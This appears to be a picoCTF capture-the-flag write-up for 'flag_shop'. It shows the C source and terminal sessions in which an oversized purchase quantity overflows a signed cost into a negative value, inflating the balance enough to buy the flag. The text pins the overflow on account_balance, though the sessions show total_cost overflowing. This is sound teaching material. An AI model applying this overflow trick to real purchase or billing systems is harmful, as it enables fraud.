PicoCTF - flag_shop

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc jupiter.challenges.picoctf.org 44566.

Open up the terminal and type the following command, in order to connect to the server.

nc jupiter.challenges.picoctf.org 44566

#include <stdio.h>
#include <stdlib.h>
int main()
{
    setbuf(stdout, NULL);
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        
        printf("Welcome to the flag exchange\n");
        printf("We sell flags\n");

        printf("\n1. Check Account Balance\n");
        printf("\n2. Buy Flags\n");
        printf("\n3. Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }
                                    
                    
                }
                    
                    
                    
                
            }
            else if(auction_choice == 2){
                printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to buy one");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){
                    
                    if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
                        if(f == NULL){

                            printf("flag not found: please run this on the server\n");
                            exit(0);
                        }
                        char buf[64];
                        fgets(buf, 63, f);
                        printf("YOUR FLAG IS: %s\n", buf);
                        }
                    
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

We notice in the following line that the integer is signed, so it is possible to overflow it, and as a result, we can get a negative value.

int account_balance = 1100;

Let's give it a value of INT_MAX 32-bit and see what happens.

INT_MAX = 2147483647
// (for 32-bit Integers)

nc jupiter.challenges.picoctf.org 44566
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
2147483647

The final cost is: -900

Your current balance after transaction: 2000

Notice here, that it worked. Let's try to give it an extremely big value to see how it responds.

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
4000000

The final cost is: -694967296

Your current balance after transaction: 694969296

Bingo! We got a negative value as a cost, meaning that our current balance skyrocket and we can now buy the 1337 flag, because of the logic of the following lines.

if(total_cost <= account_balance) {
    account_balance = account_balance - total_cost;
    printf("\nYour current balance after transaction: %d\n\n", account_balance);
}

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{}

Nice job. You've got the flag!